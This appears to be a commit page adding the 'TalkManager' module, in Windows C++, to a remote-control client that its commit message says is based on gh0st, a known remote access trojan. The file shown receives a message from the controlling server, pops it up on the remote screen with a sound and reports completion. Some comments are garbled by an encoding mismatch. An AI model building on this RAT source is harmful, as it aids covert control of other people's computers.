基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
152
client/TalkManager.cpp
Normal file
152
client/TalkManager.cpp
Normal file
@@ -0,0 +1,152 @@
|
||||
// TalkManager.cpp: implementation of the CTalkManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TalkManager.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <IOSTREAM>
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
using namespace std;
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
|
||||
#define WIN_WIDTH 120
|
||||
#define WIN_HEIGHT 120
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
char g_Buffer[0x1000] = {0};
|
||||
UINT_PTR g_Event = 0;
|
||||
|
||||
IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
cout<<"Talk <20><><EFBFBD><EFBFBD>"<<endl;
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
memcpy(g_Buffer, szBuffer, ulLength);
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||
|
||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL,DialogProc); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
switch(uMsg)
|
||||
{
|
||||
case WM_TIMER:
|
||||
{
|
||||
OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG:
|
||||
{
|
||||
OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
{
|
||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||
|
||||
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ<>ӻص<D3BB>
|
||||
{
|
||||
RECT Rect;
|
||||
static int Height=0;
|
||||
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
|
||||
int y=Rect.bottom-Rect.top;;
|
||||
int x=Rect.right-Rect.left;
|
||||
x=x-WIN_WIDTH;
|
||||
|
||||
switch(g_Event)
|
||||
{
|
||||
case ID_TIMER_CLOSE_WINDOW:
|
||||
{
|
||||
if(Height>=0)
|
||||
{
|
||||
Height-=5;
|
||||
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
|
||||
}
|
||||
else
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_DELAY_DISPLAY:
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
|
||||
g_Event = ID_TIMER_CLOSE_WINDOW;
|
||||
SetTimer(hDlg,g_Event, 5, NULL);
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_POP_WINDOW:
|
||||
{
|
||||
if(Height<=WIN_HEIGHT)
|
||||
{
|
||||
Height+=3;
|
||||
MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE);
|
||||
}
|
||||
else
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
|
||||
g_Event = ID_TIMER_DELAY_DISPLAY;
|
||||
SetTimer(hDlg,g_Event, 4000, NULL);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user